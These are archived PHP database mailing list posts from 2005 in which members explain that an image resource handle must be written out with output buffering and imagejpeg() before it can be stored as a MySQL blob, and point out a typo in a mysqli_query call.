this was discussed just last week..find the thread or go here http://www.weberdev.com/get_example.php3?count=4063 bastien From: Jason Wong [EMAIL PROTECTED] To: php-db@lists.php.net Subject: Re: [PHP-DB] Storing JPEGS in MySQL Date: Thu, 3 Feb 2005 07:55:39 +0800 On Thursday 03 February 2005 05:59, A Wood wrote: The image is resized like this, and as I say, this far its working fine... imagecopyresampled($image, $contents, 0, 0, 0, 0, $newxsize, $newysize, $orig_x, $orig_y); I then try to put it in the DB by passing the variable $image straight into an SQL query. is that correct? No, $image is the image resource handle ... The script executes fine with no errors, and there's something being put in the LONGBLOB field of the DB (Resource ID #3 it says when I look at it). ... and it this particular case your image resource handle has an ID of 3. What you need is output buffering and imagejpeg(). If you're still stuck check out the umpteen working examples and tutorials available somewhere. The type field is set correctly by the upload script and is image/jpeg Again this script runs without errors but doesnt produce anything. Yep, because you haven't stored anything resembling an image in the DB! -- Jason Wong - Gremlins Associates - www.gremlins.biz Open Source Software Systems Integrators * Web Design Hosting * Internet Intranet Applications Development * -- Search the list archives before you post http://marc.theaimsgroup.com/?l=php-db -- New Year Resolution: Ignore top posted posts -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Connecting To Mysql through php/mysqli
I like the idea of a mysqli_queasy() function. Maybe it would allow you to sumbit SQL statements that don't conform to any standard? ;) graeme. Bastien Koert wrote: the second error is a misspelling in the mysqli_query command bastien Call to undefined function mysqli_quesry() in C:\Apache -- Experience is a good teacher, but she sends in terrific bills. Minna Antrim -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php